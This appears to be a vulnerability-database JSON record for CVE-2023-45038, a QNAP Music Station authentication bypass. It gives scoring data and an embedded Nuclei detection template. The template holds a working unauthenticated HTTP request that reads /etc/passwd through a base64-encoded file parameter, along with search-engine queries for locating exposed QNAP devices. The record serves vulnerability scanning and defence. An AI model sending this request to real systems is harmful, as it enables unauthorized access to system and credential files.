{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2023-45038/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2023-45038/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2023-45038/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2023-45038/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2023-45038/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2023-45038"},"sightings":{"href":"/api/v1/sightings/cve-2023-45038"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.01243,"kev":false,"percentile":0.67926},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2023/CVE-2023-45038.yaml","nuclei_template_severity":"medium","nuclei_template_yaml":"id: CVE-2023-45038\n\ninfo:\n  name: QNAP Music Station < 5.4.0 - Authentication Bypass\n  author: daffainfo\n  severity: medium\n  description: |\n    An improper authentication vulnerability has been reported to affect Music Station. If exploited, the vulnerability could allow users to compromise the security of the system via a network. We have already fixed the vulnerability in the following version: Music Station 5.4.0 and later\n  impact: |\n    Unauthenticated attackers can bypass authentication in Music Station to read arbitrary files from the QNAP system including /etc/passwd, potentially accessing sensitive configuration files and user credentials.\n  remediation: |\n    Update QNAP Music Station to version 5.4.0 or later that implements proper authentication validation in the as_get_file_api.php endpoint.\n  reference:\n    - https://www.qnap.com/en/security-advisory/qsa-24-25\n    - https://karzemrok.com/qnap-qsa-24-25\n    - https://nvd.nist.gov/vuln/detail/CVE-2023-45038\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N\n    cvss-score: 4.3\n    cve-id: CVE-2023-45038\n    epss-score: 0.01243\n    epss-percentile: 0.67926\n    cwe-id: CWE-287\n    cpe: cpe:2.3:a:qnap:music_station:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: qnap\n    product: music_station\n    shodan-query: http.title:\"qnap\"\n    fofa-query: title=\"qnap\"\n    google-query: intitle:\"qnap\"\n  tags: cve,cve2023,qnap,music_station,auth-bypass,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /musicstation/api/as_get_file_api.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        ssid=dummy&songid=1&tt=ts&f=L2V0Yy9wYXNzd2Q=\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - \"admin:.*:0:0:\"\n\n      - type: word\n        part: content_disposition\n        words:\n          - \"filename='passwd'\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a0047304502203bd1d31aa44c986f765d9a2405ac4f063af1b1f6dc7940e406a763778186c7ab022100b60f315456b9f7e0cc90c7c48ac05a4617654bedd7f73da5824b37175b796873:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2023-45038"}